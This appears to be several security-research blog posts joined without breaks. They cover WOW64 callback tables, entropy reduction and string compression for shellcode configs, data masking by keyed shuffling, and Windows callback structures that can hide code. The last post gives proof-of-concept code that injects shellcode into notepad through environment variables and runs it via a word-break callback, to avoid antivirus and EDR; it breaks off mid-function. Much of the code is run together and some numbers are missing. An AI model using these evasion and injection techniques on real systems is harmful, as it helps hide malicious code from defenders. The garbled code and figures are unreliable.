Ken Johnson (otherwise known as Skywing) first talked about the KiUserExceptionDispatcher back in 2007 . Since then, scattered around the internet are various posts talking about it, but for some reason nobody demonstrating how to use it. Itβs been documented that FinFisher misuses the function pointers as part of its virtual machine functionality, so letβs take a look at how to find the table before doing anything creative with itβ¦The code to locate the table didnβt take long and didnβt require looking at FinFisher internals or existing code. Itβs a simple heuristic based search.
If you take a look at ntdll!LdrpLoadWow64, thatβs called during initialization of a WOW64 process, youβll see it loading wow64.dll and resolving the address of six exports. This process has been better documented in the posts mentioned above.
Wow64LdrpInitialize
Wow64PrepareForException
Wow64ApcRoutine
Wow64PrepareForDebuggerAttach
Wow64SuspendLocalThread
Wow64SuspendLocalProcess
A closer look at how this works will provide you with an array of function names stored in STRING format and a pointer to a variable that holds each address resolved. The following is my attempt at recreating the same structure.
There could be a number of ways to do this. In the following example, we search the .rdata section for STRING structures that equal the function pointer we wish to find. Since these strings are constant and unlikely to change, it works reasonably well.
BOOL
IsReadOnlyPtr(LPVOID ptr) {
MEMORY_BASIC_INFORMATION mbi;
if (!ptr) return FALSE;
DWORD res = VirtualQuery(ptr, &mbi, sizeof(mbi));
if (res != sizeof(mbi)) return FALSE;
return ((mbi.State == MEM_COMMIT ) &&
(mbi.Type == MEM_IMAGE ) &&
(mbi.Protect == PAGE_READONLY));
}
BOOL
GetWow64FunctionPointer(PWOW64_CALLBACK Callback) {
auto m = (PBYTE)GetModuleHandleW(L"ntdll");
auto nt = (PIMAGE_NT_HEADERS)(m + ((PIMAGE_DOS_HEADER)m)->e_lfanew);
auto sh = IMAGE_FIRST_SECTION(nt);
for (DWORD i=0; i<nt->FileHeader.NumberOfSections; i++) {
if (*(PDWORD)sh[i].Name == *(PDWORD)".rdata") {
auto rva = sh[i].VirtualAddress;
auto cnt = (sh[i].Misc.VirtualSize - sizeof(STRING)) / sizeof(ULONG_PTR);
auto ptr = (PULONG_PTR)(m + rva);
for (DWORD j=0; j<cnt; j++) {
if (!IsReadOnlyPtr((LPVOID)ptr[j])) continue;
auto api = (PSTRING)ptr[j];
if (api->Length == Callback->Name.Length &&
api->MaximumLength == Callback->Name.MaximumLength)
{
if (!strncmp(api->Buffer, Callback->Name.Buffer, Callback->Name.Length)) {
Callback->Function.p = (PVOID)ptr[j + 1];
return TRUE;
}
}
}
break;
}
}
return FALSE;
}
void
GetWow64CallbackTable(PWOW64_CALLBACK_TABLE Table) {
GetWow64FunctionPointer(&Table->Wow64LdrpInitialize);
GetWow64FunctionPointer(&Table->Wow64PrepareForException);
GetWow64FunctionPointer(&Table->Wow64ApcRoutine);
GetWow64FunctionPointer(&Table->Wow64PrepareForDebuggerAttach);
GetWow64FunctionPointer(&Table->Wow64SuspendLocalThread);
GetWow64FunctionPointer(&Table->Wow64SuspendLocalProcess);
}
Summary
This type of code isnβt useful to a 32-Bit WOW process without jumping to 64-Bit since the function pointers are stored in the 64-Bit version of NTDLL. There are potentially other uses though like intercepting APCs, anti-debugging and processing exceptions before VEH or SEH, which FinFisher did successfully for many many yearsβ¦.
Compressed, encrypted, and random data all contain a high amount of entropy, which is why many products use entropy analysis to detect malicious code in binaries that have never been examined before.
In a previous post about masking, I suggested using a deterministic random number generator with the Fisher-Yates shuffle to try and scramble data without increasing the entropy that occurs with compression and encryption. Of course, no confidentiality is provided with that approach and may not be desirable.
This got me thinking about what algorithms could be used to reduce entropy and itβs much simpler than I thought. If all we need to do is reduce the number of bits per byte, then simple encoding is the answer. Or am I mistaken? Let me know in the comments.
The disadvantage of using Base32 encoding is obviously an increase in the size of data by approx. 67%. However, if the compression ratio of original data is close to 50-70% (which can be achieved with something like GZip, LZMA or ZPAQ), then the increase after reducing entropy isnβt that bad. We have confidentiality of the data and it looks benign from analysis.
Increasing
Compression algorithms like LZ77, Huffman or Arithmetic coders are designed to remove redundant or repetitive data. Encryption algorithms will use techniques like transposition, byte substitution to make data more unpredictable or seem random. And if theyβre good, the original data will appear to be random with no discernible pattern or structure. That makes it difficult to analyse and determine exactly what it is.
Decreasing
Adding redundant data, such as null bytes, can lower the entropy score. However, some tests will disregard zeros because they affect the accuracy of results. The reason for using Base32 and not Base64 is because the latter doesnβt reduce the entropy enough and Base16 is simply going to waste too much space. Base32 isnβt perfect but itβs good enough for demonstrating the idea.
Encoding
There are problems with this code and itβs inadvisable to use it outside this blog. For it to work, inbuf should allow out-of-bound reads up to 5 bytes. Essentially, pad inbuf with at least 5 null bytes. Might seem odd for it to work that way, but it helps later when combining both encoding and decoding. For every encoded byte, two bits will always be zero and you could say thatβs a pattern. That can be avoided by flipping bits of some bytes.
size_t
base32_encode(size_t inlen, void *inbuf, void *outbuf) {
uint8_t *out = (uint8_t*)outbuf;
uint8_t *in = (uint8_t*)inbuf;
uint32_t x = 0, z = 0;
size_t outlen = (inlen + 4) / 5 * 8;
// return size of buffer required?
if (!outbuf) return outlen;
// encode bytes
while (outlen) {
x = (x << 8) | *in++;
z += 8;
while (z >= 5) {
z -= 5;
*out++ = (x >> z) & 31;
outlen--;
}
}
// return encoded length
return (out - (uint8_t*)outbuf);
}
Decoding
This needs to know the original size of data before encoding. Thatβs not a big issue considering most compression and encryption work the same way. Just include the original length when transporting the encoded data.
void
base32_decode(size_t outlen, void *inbuf, void *outbuf) {
uint8_t *out = (uint8_t*)outbuf;
uint8_t *in = (uint8_t*)inbuf;
uint32_t x = 0, z = 0;
while (outlen) {
x = (x << 5) | *in++;
z += 5;
while (z >= 8) {
z -= 8;
*out++ = (x >> z) & 255;
outlen--;
}
}
}
Combined Encoding and Decoding
Well, you may have noticed the similarity between the two by now and thought about combining both. So long as the correct length is calculated for the output, we can indeed combine both and switch between encoding and decoding using a flag.
void
base32(size_t outlen, void *inbuf, void *outbuf, bool encode) {
uint8_t *out = (uint8_t*)outbuf;
uint8_t *in = (uint8_t*)inbuf;
uint32_t x = 0, z = 0;
uint8_t wl = 8, rl = 5, m = 255;
if (encode) {
rl = 8; // read length
wl = 5; // write length
m = 31; // mask
}
while (outlen) {
x = (x << rl) | *in++;
z += rl;
while (z >= wl) {
z -= wl;
*out++ = (x >> z) & m;
outlen--;
}
}
}
Results
To test if the encoding reduces entropy of data, random bytes are generated from the operating system. A Shannon entropy test is used to calculate before and after.
double
shannon_entropy(void *inbuf, size_t len) {
uint8_t *in = (uint8_t*)inbuf;
double entropy = 0;
uint32_t frequency[256] = {0};
// Count the frequency of each byte value
for (size_t i=0; i<len; i++) {
frequency[in[i]]++;
}
// Calculate the entropy
for (size_t i=0; i<256; i++) {
if (frequency[i] > 0) {
double probability = (double) frequency[i] / len;
entropy -= probability * log2(probability);
}
}
return entropy;
}
Before encoding, the Shannon test scores 7.835897 for 1024 random bytes. After using Base32 to encode it, Shannon reports 4.983226.
Summary
Some of you may be saying: βThis isnβt Base32 encoding!β Itβs not whatβs described in RFC4648 that uses an alphabet as the final step, but they are using the same process. This is only intended to reduce entropy, but wouldnβt take that much for it to work like Base32 described in the RFC. The main difference of course is that padding with the equal sign isnβt used. instead, the code depends on the caller to specify the output length and pad the input buffer for out-of-bound reads.
Finally, the decoding algorithm above can be used to compress strings, but only if each character fits into 5-bits of information. For that reason, it might only be suitable for uppercase or lowercase characters together with a few symbols or digits.
Concise Binary Object Representation (CBOR), the binary equivalent to JavaScript Object Notation (JSON), is ideal for storing a configuration to a shellcode/stager/loader. Iβve always wanted support for text-only compression to store API strings and URLs. CBOR currently doesnβt support compression, and while Zlib is recommended quite a lot for JSON, it wasnβt designed for short strings/input. A format like CBOR would benefit by supporting text-only compression, encryption and masking natively. In the meantime, however, developers are responsible for implementing those features independently.
Before we cover Base-N decoding, we should talk about some well-known compression algorithms and why theyβre unsuitable for short inputs. Huffman encoding, for example, is a lossless compression method that assigns shorter bit strings to a range of bytes. The most frequently used bytes are assigned the least amount of bits, helping reduce the size of the original input. Recovering the original data requires the same bit-to-byte mappings used during encoding. These mappings, also known as βHuffman tablesβ, are stored with compressed data and can sometimes require more space than the input itself.
LZ encoding also isnβt suitable since it works by storing full strings or a βmatch referenceβ that consists of an offset and length to the same range of bytes found earlier. Zlib and LZMA are excellent compression algorithms, but are obviously designed specifically for large data blocks rather than short strings.
In this blog post, weβll examine how effective it is to use Base-N decoding for text-only compression. Itβs similar to Huffman encoding, but without the need for Huffman tables. The results will be compared with some of the following projects designed for compressing short strings:
UniShox2 is considered the best of all and uses a combination of three encoding methods:
Entropy coding (Huffman, Arithmetic)
Dictionary coder (LZ77,LZ78,LZW)
Delta encoding
Applications
In case youβre wondering why on earth compressing short strings would be useful, Iβve copied the following list of applications from the UniShox2 repository for you to consider.
Compression for low memory devices such as Arduino and ESP8266
Sending messages over Websockets
Compression of Chat application text exchange including Emojis
Storing compressed text in databases
Faster retrieval speed when used as join keys
Bandwidth cost saving for messages transferred to and from Cloud infrastructure
Storage cost reduction for Cloud databases
Some people even use it for obfuscation
Base-64 Encoding
Iβll assume most of you are familiar with Base-64 encoding, but not necessarily how it works internally. Itβs a binary-to-text encoding scheme that converts 24-bits of binary to a 32-bit string. It uses 8-Bit ASCII characters to store 6-Bits of binary, which increases the data by approx. 33%. For example, encoding 32 bytes of binary would require 44 bytes of space for the encoded string. To calculate the necessary space, we divide the length of the binary by three and multiply by four. Taking into account any padding, we then align up by four. In C, we can use something like the following:
uint32_t OutLength =(((4*(InLength /3))+3)&-4).
The following is Base-64 encoding without using a lookup table.
#define ROTL32(v,n)(((v)<<(n))|((v)>>(32-(n))))void
base64_encode(void*inbuf,int inlen,char*outbuf){
uint8_t *in =(uint8_t*)inbuf;char*out = outbuf;int i;
uint32_t len=0;while(inlen){
uint32_t x =0;
uint8_t c;// read 3 or less bytes. if required, pad with zerosfor(len=i=0; i<3; i++){
x |=(i < inlen)? in[len++]:0;
x <<=8;}
in += len;
inlen -= len;
len =(len *8+4)/6;// encode len bytes.for(i=0; i<len; i++){
x = ROTL32(x,6);
c = x %64;if(c <26) c +='A';elseif(c <52) c =(c -26)+'a';elseif(c <62) c =(c -52)+'0';elseif(c ==63) c ='+';else c ='/';*out++= c;}}// if required, add padding.while(len++<4)*out++='=';*out =0;}
Base-N Decoding
Since Base-64 encoding will increase the original data by 33%, what prevents us from using Base-64 decoding to reduce the size of arbitrary strings by 25%? The compression ratio upon conversion to binary entirely depends on what characters the string contains, so youβll get different results depending on the input. However, decoding should always result in some compression of the original string. The following table lists the approximate decrease in space used by a string when using various Base-N decoding.
As you can see, a higher base number results in a lower compression ratio. And, of course, there are more printable characters required for punctuation, which will only decrease it further. My intention here isnβt to compete with or replace existing string compression tools. Iβm merely pointing out that anyone can use Base-N decoding to compress strings with little effort. The following code in C can be used as a reference.
Base-N Compression with 64-Bit Integers
//// Compress string using Base-N decoding.//
uint64_t
base_n_compress(char str[],char base_tbl[]){
uint64_t val =0, pwr =1;size_t inlen =strlen(str);size_t base_n =strlen(base_tbl);for(size_t i=0; i<inlen; i++){constchar*ptr =strchr(base_tbl, str[i]);if(!ptr)return0;int idx =(ptr - base_tbl)+1;
val += pwr * idx;
pwr *= base_n;}return val;}//// Decompress string using Base-N encoding.//void
base_n_decompress(uint64_t val,char base_tbl[],char str[]){size_t base_n =strlen(base_tbl);
uint64_t pwr = base_n;int outlen, i;
val--;for(outlen =1; val >= pwr; outlen++){
val -= pwr;
pwr *= base_n;}
str[outlen]=0;for(i =0; i < outlen; i++){
str[i]= base_tbl[val % base_n];
val /= base_n;}}
The only problem with this code is when the string converted to binary exceeds bits. Then we need to use bignum arithmetic. Of course, you wonβt have that problem in some languages that already support multi-precision arithmetic. Getting a Python implementation of the same code without the bits limit is relatively simple.
Base-N Compression with Arbitrary Arithmetic
There are no limits to string compression once we start using bignum arithmetic. However, it makes more sense to use an algorithm designed specifically for large data blocks at some point. To demonstrate how it works with OpenSSLβs BIGNUM implementation. The following two functions work well for strings that might exceed bits. This code resolves the limitations of the previous code.
Base-N decoding doesnβt choose the length of bit strings optimally. It doesnβt assign the shortest amount of bits to bytes that occur more frequently in the string like Huffman encoding. If we only use a base number equal to the length of unique characters in the string, we can compress it much better. The following code can generate an optimal alphabet based on the string to compress.
//// Generate an alphabet for optimal compression.//void
generate_alphabet(char*alpha,std::string str){std::unordered_map<char,int> freq;// count frequency of each character in string we want to compress.for(constchar&c: str){
freq[c]++;}// convert map to a vector and sort in ascending order.std::vector<std::pair<char,int>> elems(freq.begin(), freq.end());std::sort(elems.begin(), elems.end(),[](auto&left,auto&right){return left.second > right.second;});// save each character to output buffer.for(auto&pair: elems){*alpha++=pair.first;}}
We perform the same tests as before and see a distinct improvement. However, the higher compression ratio is more likely the result of a smaller lookup table/base number rather than sorting the most frequent characters in ascending order.
Base
Input
Alphabet
% Decrease
1
64 x β0β
0
99
9
18446744073709551615
457106938
60
1
FFFFFFFFFFFFFFFF
F
94
26
THEQUICKBROWNFOXJUMPSOVERTHELAZYDOG
OERUHTNGWBKCIQFXJMPSVLAZYD
40
27
THEQUICKBROWNFOXJUMPSOVERTHELAZYDOG2
OERUTHNGW2BKCIQFXJMPSVLAZYD
39
26
Thequickbrownfoxjumpsoverthelazydog
oeruhfwbkciqTngxjmpsvtlazyd
40
28
Thequickbrownfoxjumpsoverthelazydog2
oeruhfwbkciqTngxjmpsvtl2azyd
39
Compared to Other Libraries
The following examples are from the UniShox2 repository. Green columns highlight the best ratio, but these are only preliminary tests. The Base-N decoding uses frequency analysis before compression. I would not want to claim that Base-N compression outperforms UniShox2!
String
Size
UniShox2
Base-N Decoding
Shoco
Beauty is not in the face. Beauty is a light in the heart.
58
30
31
46
The quick brown fox jumps over the lazy dog.
44
31
27
38
WRITING ENTIRELY IN BLOCK CAPITALS IS SHOUTING, and itβs rude
61
47
38
58
Rose is a rose is a rose is a rose.
35
12
14
25
039f7094-83e4-4d7f-aa38-8844c67bd82d
36
18
18
36
2021-07-15T16:37:35.897Z
24
9
12
24
(760) 756-7568
14
7
6
14
This is a loooooooooooooooooooooong string
42
15
19
25
Summary
We see that Base-N decoding, which works similar to Huffman encoding, can be effective for compressing and obfuscating short strings. The results are even better when frequency analysis occurs before compression. Shuffling the bits used in the base table makes it possible to have a type of βpolymorphic text-to-binaryβ algorithm. There are limitations, of course, like the need for multi-precision arithmetic when the conversion of string to binary exceeds or bit integers. However, perhaps someone will devise a more optimal algorithm that avoids the need for such.
There are more than four ways to mask data, but these are the main ones to focus on in this post.
Lossless Compression
Encryption
Steganography
Shuffling
If we want to detect a compressed or encrypted stream of bytes but canβt rely on a file header for a signature, the best way is by using something like a Chi-Square test. The more uniform the data is, the more likely it is to be compressed or encrypted.
Steganography is better at masking. Some image formats already use lossless compression to reduce the size of files. The PNG format, for example, uses Zlib, and the high compression ratio will result in the file having a high amount of entropy. The GIF format also uses LZW as its compression method but is limited to 256 colours, which results in losing information during the encoding process. Of course, you have the option of parsing GIFs manually, but PNG is probably easier to work with in most image encoding libraries.
Involutions
In mathematics, an involution, or an involutory function, is a function that is its own inverse; For the following instructions, Iβm merely using this word to describe what they do in practice. Executed once will mask data, and executing again will unmask. These are very common but also very weak when used alone.
The circular shift and byte swapping operations are much closer to a permutation. They could also be used on large arrays in addition to the shuffling.
Random Shuffling
Letβs imagine you want to shuffle a deck of cards for an online poker game. The shuffling algorithm must be unbiased, and the results canβt be predictable before a game begins. Many who have asked for such an algorithm know of the Fisher-Yates shuffle. Itβs an algorithm for generating a random permutation of a finite sequence. It was proposed by Ronald Fisher and Frank Yates in their book Statistical Tables for Biological, Agricultural and Medical Research published in 1939. Richard Durstenfeld modified the algorithm in 1964, and Donald E. Knuth popularised it in his 1968 book The Art of Computer Programming, hence why some refer to it as the Knuth Shuffle.
The following code in C illustrates how one might shuffle a byte array. Here, weβre using the current time as a seed to initialise the PRNG, which wouldnβt be recommended for a poker game.
Obtaining a unique sequence of numbers to shuffle the array is problematic. Most software will use a pseudorandom number generator (PRNG). However, knowing how to generate the same sequence of numbers used to shuffle a deck of cards allows us to determine where every card is and even reverse the process. But thatβs precisely what makes Fisher-Yates useful for masking. We want to unshuffle our masked data later; itβs just that rand() isnβt suitable. We need something else.
Keyed/Seeded/Deterministic Shuffling
Apart from rand() being weak for shuffling, unshuffling the array would require starting with the last number returned by it. rand() doesnβt support this type of random access, therefore our unshuffling algorithm would be required to generate the exact same sequence of numbers and store each one in memory before starting to unshuffle. We need a function that can produce deterministic values based on a seed or key. Seeded or keyed shuffling and unshuffling is really what we need.
A PRNG is also a Deterministic Random Bit Generator (DRBG). The DRBG/PRNG-generated sequence is not truly random because an initial value, called the PRNGβs seed (which may include truly random values), entirely determines the output bits generated by it. Therefore, we can replace rand() with a stream cipher like RC4, ChaCha, or a block cipher like AES in Counter (CTR) mode and generate deterministic values.
NIST has defined how to construct a DRBG from CTR mode in SP 800-90Ar1, but itβs unnecessary to use this for masking. Rather than implement a DRBG, we just need to encrypt the range index using a secret key and then derive an unbiased number within that range from the ciphertext. The following code tries to demonstrate how it might be done in practice.
#ifdefined(_WIN64)//// SPECK128-256//#define WORDLEN 64#define PRNG_MAX_INT (INT64_MAX + 1)#define ENCRYPT_KEY_LEN 32#define ENCRYPT_BLOCK_LEN 16#define R(v,n)(((v)>>(n))|((v)<<(64-(n))))typedefunsignedlonglong W;void
encrypt(void*mk,void*p){
W k[4],*x=(W*)p,i,t;for(i=0; i<4; i++) k[i]=((W*)mk)[i];for(i=0; i<34; i++){
x[1]=(R(x[1],8)+ x[0])^ k[0],
x[0]= R(x[0],61)^ x[1],
k[1]=(R(k[1],8)+ k[0])^ i,
k[0]= R(k[0],61)^ k[1];
t = k[1], k[1]= k[2], k[2]= k[3], k[3]= t;}}#else//// SPECK64-128//#define WORDLEN 32#define PRNG_MAX_INT (INT32_MAX + 1)#define ENCRYPT_KEY_LEN 16#define ENCRYPT_BLOCK_LEN 8#define R(v,n)(((v)>>(n))|((v)<<(32-(n))))typedefunsignedint W;void
encrypt(void* mk,void* p){
W k[4],*x=(W*)p,i,t;for(i=0; i<4; i++) k[i]=((W*)mk)[i];for(i=0; i<27; i++){
x[0]=(R(x[0],8)+ x[1])^ k[0],
x[1]= R(x[1],29)^ x[0],
t = k[3],
k[3]=(R(k[1],8)+ k[0])^ i,
k[0]= R(k[0],29)^ k[3],
k[1]= k[2], k[2]=t;}}#endif
W
prng_word(void*key, W max){
W r, x[2], ctr =1, d =((-max)/max)+1;if(d ==0)return0;for(;;){
x[0]=max;
x[1]= ctr++;
encrypt(key, x);
r = x[0]/ d;if(r <max)return r;}}void
shuffle(void*seed,void*inbuf,size_t inlen){
uint8_t *in =(uint8_t*)inbuf;for(size_t i = inlen -1; i >0; i--){
uint32_t j = prng_word(seed,(i +1));
uint8_t t = in[i];
in[i]= in[j];
in[j]= t;}}void
unshuffle(void*seed,void*inbuf,size_t inlen){
uint8_t *in =(uint8_t*)inbuf;for(size_t i =0; i < inlen; i++){
uint32_t j = prng_word(seed,(i +1));
uint8_t t = in[i];
in[i]= in[j];
in[j]= t;}}
There are times when elements of the array will remain in the same position after shuffling. This typically happens with small arrays. In that case, something else is required for masking. Now, if you know of a way to fix that, feel free to leave a comment or drop me an email.
Summary
Shuffling doesnβt provide any confidentiality for the masked data like encryption does and doesnβt reduce its size like compression does. However, shuffling a large enough array using a secure cipher and secret key to generate a sequence of numbers can probably make it difficult to recover the original data without the key used to initialise the PRNG. That seems helpful in masking data and better than an XOR. But of course, something like this is in no way intended or implied to be a suitable replacement for encryption and shouldnβt be used for any critical information!
RISC-V (pronounced βrisk-fiveβ ) is an open standard instruction set architecture (ISA) based on established reduced instruction set computer (RISC) principles. Unlike most other ISA designs, RISC-V is provided under open source licenses that do not require fees to use.
To learn more about the RISC-V architecture, I recently bought a StarFive VisionFive Single Board computer. Itβs slightly more expensive than the RPI that runs on ARM, but itβs the closest thing to an RPI we have available right now. It uses the SiFiveβs U74 64-bit RISC-V processor core which is similar to the ARM Cortex-A55. Readers without access to a board like this have the option of using QEMU.
The RISC-V ISA (excluding extensions) is of course much smaller than the ARM ISA, but that also makes it easier to learn IMHO. The reduced set of instructions is more suitable for beginners learning their first assembly language. From a business perspective, and I accept Iβm not an expert on such issues, the main advantages of RISC-V over ARM is that itβs open source, has no licensing fees and is sanction-free. For those reasons, it may very well become more popular than ARM in future. Weβll have to wait and see.
A process can contain thousands of pointers to executable code, some of which are stored in opaque, but writeable data structures only known to Microsoft, a handful of third party vendors and of course bad guys that want to hide malicious code from memory scanners. This post documents what some of the data structures contain rather than PoCs to demonstrate code redirection or evasion, which I probably wonβt discuss much anymore. The names of some structure fields wonβt be entirely accurate, but feel free to drop me an email if you think something needs correcting. No, I donβt have access to source code. These structures were reverse engineered or can be found on MSDN.
2. Dynamic Function Table List
ntdll!RtlpDynamicFunctionTable contains DYNAMIC_FUNCTION_TABLE entries and callback functions for a range of memory that can be installed using ntdll!RtlInstallFunctionTableCallback. ntdll!RtlGetFunctionTableListHead returns a pointer to the list and since NTDLL.dll uses the same base address for each process, you can read entries from a remote process very easily.
Microsoft recommends against using it, but sechost!SetTraceCallback can still receive ETW events. Entries of type EVENT_CALLBACK_ENTRY are located at sechost!EtwpEventCallbackList.
Itβs possible to receive notifications about a DLL being loaded or unloaded using ntdll!LdrRegisterDllNotification. Itβs used to hook API for Common Language Runtime (CLR) in ClrGuard. Entries of type LDR_DLL_NOTIFICATION_ENTRY can be located at ntdll!LdrpDllNotificationList.
typedefstruct _LDR_DLL_LOADED_NOTIFICATION_DATA {ULONG Flags;// Reserved.
PUNICODE_STRING FullDllName;// The full path name of the DLL module.
PUNICODE_STRING BaseDllName;// The base file name of the DLL module.PVOID DllBase;// A pointer to the base address for the DLL in memory.ULONG SizeOfImage;// The size of the DLL image, in bytes.} LDR_DLL_LOADED_NOTIFICATION_DATA,*PLDR_DLL_LOADED_NOTIFICATION_DATA;typedefstruct _LDR_DLL_UNLOADED_NOTIFICATION_DATA {ULONG Flags;// Reserved.
PUNICODE_STRING FullDllName;// The full path name of the DLL module.
PUNICODE_STRING BaseDllName;// The base file name of the DLL module.PVOID DllBase;// A pointer to the base address for the DLL in memory.ULONG SizeOfImage;// The size of the DLL image, in bytes.} LDR_DLL_UNLOADED_NOTIFICATION_DATA,*PLDR_DLL_UNLOADED_NOTIFICATION_DATA;typedefVOID(CALLBACK*PLDR_DLL_NOTIFICATION_FUNCTION)(ULONG NotificationReason,
PLDR_DLL_NOTIFICATION_DATA NotificationData,PVOID Context);typedefunion _LDR_DLL_NOTIFICATION_DATA {
LDR_DLL_LOADED_NOTIFICATION_DATA Loaded;
LDR_DLL_UNLOADED_NOTIFICATION_DATA Unloaded;} LDR_DLL_NOTIFICATION_DATA,*PLDR_DLL_NOTIFICATION_DATA;typedefstruct _LDR_DLL_NOTIFICATION_ENTRY {LIST_ENTRY List;
PLDR_DLL_NOTIFICATION_FUNCTION Callback;PVOID Context;} LDR_DLL_NOTIFICATION_ENTRY,*PLDR_DLL_NOTIFICATION_ENTRY;typedef NTSTATUS(NTAPI *_LdrRegisterDllNotification)(ULONG Flags,
PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,PVOID Context,PVOID*Cookie);typedef NTSTATUS(NTAPI *_LdrUnregisterDllNotification)(PVOID Cookie);
5. Secure Memory
Kernel drivers can secure user-space memory using ntoskrnl!MmSecureVirtualMemory. This prevents the memory being freed or having its page protection made more restrictive. i.e PAGE_NOACCESS. To monitor changes, developers can install a callback using AddSecureMemoryCacheCallback. Entries of type RTL_SEC_MEM_ENTRY are located at ntdll!RtlpSecMemListHead.
A process can register for Plug and Play events using cfgmgr32!CM_Register_Notification. Microsoft recommends legacy systems up to Windows 7 use RegisterDeviceNotification, but I didnβt examine that function. Notification entries of type _HCMNOTIFICATION are located at cfgmgr32!EventSystemClientList. _CM_CALLBACK_INFO is the structure sent to \Device\DeviceApi\CMNotify when a process registers a callback. As you can see from the WnfSubscription field, it uses the Windows Notification Facility (WNF) to receive events.
When kernelbase!KernelBaseBaseDllInitialize is executed, it installs an exception handler kernelbase!UnhandledExceptionFilter via SetUnhandledExceptionFilter. Unless a Vectored Exception Handler (VEH) is installed afterwards, this is the top level handler executed for any faults that occur. VEH callbacks installed using AddVectoredExceptionHandler or AddVectoredContinueHandler are located at ntdll!LdrpVectorHandlerList
// vectored handler listtypedefstruct _RTL_VECTORED_HANDLER_LIST {
SRWLOCK Lock;LIST_ENTRY List;} RTL_VECTORED_HANDLER_LIST,*PRTL_VECTORED_HANDLER_LIST;// exception handler entrytypedefstruct _RTL_VECTORED_EXCEPTION_ENTRY {LIST_ENTRY List;PULONG_PTR Flag;// some flag related to CFGULONG RefCount;
PVECTORED_EXCEPTION_HANDLER VectoredHandler;} RTL_VECTORED_EXCEPTION_ENTRY,*PRTL_VECTORED_EXCEPTION_ENTRY;
8. Windows Error Reporting (WER)
Windows provides API to enable application recovery, dumping process memory and generating reports via the WER service. WER settings for a process can be located within the Process Environment Block (PEB) at WerRegistrationData.
8.1 PEB Header Block
Iβll discuss structures separately, but for the few that arenβt. Signature is set internally by kernelbase!WerpInitPEBStore and simply contains the string βPEB_SIGNATUREβ. AppDataRelativePath is set by WerRegisterAppLocalDump. kernelbase!RegisterApplicationRestart can be used to set RestartCommandLine, which is used as the command line when the process is to be eh..restarted.
As part of a report created by WER, kernelbase!WerRegisterMemoryBlock inserts information about a range of memory that should be included. Itβs also possible to exclude a range of memory using kernelbase!WerRegisterExcludedMemoryBlock, which internally sets bit 15 of the Flags in a WER_GATHER structure. Files that might otherwise be excluded from a report can also be saved via kernelbase!WerRegisterFile.
Developers might want to customize the reporting process and thatβs what kernelbase!WerRegisterRuntimeExceptionModule is for. It inserts the path of DLL into the registration data thatβs loaded by werfault.exe once an exception occurs. In the WER_RUNTIME_DLL structure, MAX_PATH is used for CallbackDllPath, but the correct length for the structure and DLL should be read from the Length field.
If more than one process is required for dumping, an application can use kernelbase!WerRegisterAdditionalProcess to specify the process and thread ids. Iβm open to correction, but it appears that only one thread per process is allowed by the API.
Finally, the main heap header used for dynamic allocation of memory for WER structures. The signature here should contain a string βHEAP_SIGNATUREβ. The mutex is simply for exclusive access during allocations. FreeHeap may be inaccurate, but it appears to be used to improve performance of memory allocations. Instead of requesting a new block of memory from the OS, WER functions can use from this block if possible.
The WER service could be a point of privilege escalation and lateral movement. Thereβs potential to use it for exfiltration of sensitive data by modifying information in the registry settings. An attacker may be capable of dumping a process and having a report sent to a server they control using the CorporateWERServer setting. They might also use their own public key to encrypt this data and prevent recovery of what exactly is being gathered. This is all hypothetical of course and I donβt know if it can actually be used for this.
There are many ways to load shellcode into the address space of a process, but knowing precisely where itβs stored in memory is a bigger problem when we need to execute it. Ideally, a Red Teamer will want to locate their code with the least amount of effort, avoiding memory scrapers/scanners that might alert an antivirus or EDR solution. Adam discussed some ways to avoid using VirtualAllocEx and WriteProcessMemory in a blog post, Inserting data into other processesβ address space. Red Teamers are known to create a new process before injecting data, but Iβve yet to see any examples of using the command line or environment variables to assist with this.
This post examines how CreateProcessW might be used to both start a new process AND inject data simultaneously. Memory for where the data resides will initially have Read-Write (RW) permissions, but this can be changed to Read-Write-Execute (RWX) using VirtualProtectEx. Since notepad will be used to demonstrate these techniques, Wordwarping / EM_SETWORDBREAKPROC is used to execute the shellcode. The main structure of memory being modified for these examples is RTL_USER_PROCESS_PARAMETERS that contains the Environment block, the CommandLine and C RuntimeData information, all of which can be controlled by an actor prior to creation of a new process.
User-supplied shellcodes that contain two consecutive null bytes (\x00\x00) would require an encoder and decoder, such as Base64. The following code resolves the address of CreateProcessW and executes a command supplied by the word break callback. The PoC will set the command using WM_SETTEXT.
Part of Unix since 1979 and MS-DOS/Windows since 1982. According to MSDN, the maximum size of a user-defined variable is 32,767 characters. 32KB should be sufficient for most shellcode, but if not, you have the option of using multiple variables for anything else.
Thereβs a few ways to inject using variables, but I found the easiest approach to be setting one in the current process with SetEnvironmentVariable, and then allowing CreateProcessW to transfer or propagate all of them to the new process by setting the lpEnvironment parameter to NULL.
// generate random namesrand(time(0));for(i=0; i<MAX_NAME_LEN; i++){
name[i]=((rand()%2)?L'a':L'A')+(rand()%26);}// set variable in this process space with our shellcodeSetEnvironmentVariable(name,(PWCHAR)WINEXEC);// create a new process using // environment variables from this processZeroMemory(&si,sizeof(si));
si.cb =sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow =SW_SHOWDEFAULT;CreateProcess(NULL,L"notepad",NULL,NULL,
FALSE,0,NULL,NULL,&si,&pi);
Variable names are stored in memory alphabetically and will appear in the same order for the new process so long as lpEnvironment for CreateProcess is set to NULL. The PoC here will locate the address of the shellcode inside the current environment block, then subtract the base address to obtain the relative virtual address (RVA).
// return relative virtual address of environment blockDWORD get_var_rva(PWCHAR name){PVOID env;PWCHAR str, var;DWORD rva =0;// find the offset of value for environment variable
env = NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters->Environment;
str =(PWCHAR)env;while(*str !=0){// our name?if(wcsncmp(str, name, MAX_NAME_LEN)==0){
var =wcsstr(str,L"=")+1;// calculate RVA of value
rva =(PBYTE)var -(PBYTE)env;break;}// advance to next entry
str +=wcslen(str)+1;}return rva;}
Once we have the RVA for local process, read the address of environment block in remote process and add the RVA.
// get the address of environment blockPVOID var_get_env(HANDLE hp,PDWORD envlen){
NTSTATUS nts;
PROCESS_BASIC_INFORMATION pbi;
RTL_USER_PROCESS_PARAMETERS upp;
PEB peb;ULONG len;SIZE_T rd;// get the address of PEB
nts = NtQueryInformationProcess(
hp, ProcessBasicInformation,&pbi,sizeof(pbi),&len);// get the address RTL_USER_PROCESS_PARAMETERSReadProcessMemory(
hp, pbi.PebBaseAddress,&peb,sizeof(PEB),&rd);// get the address of Environment block ReadProcessMemory(
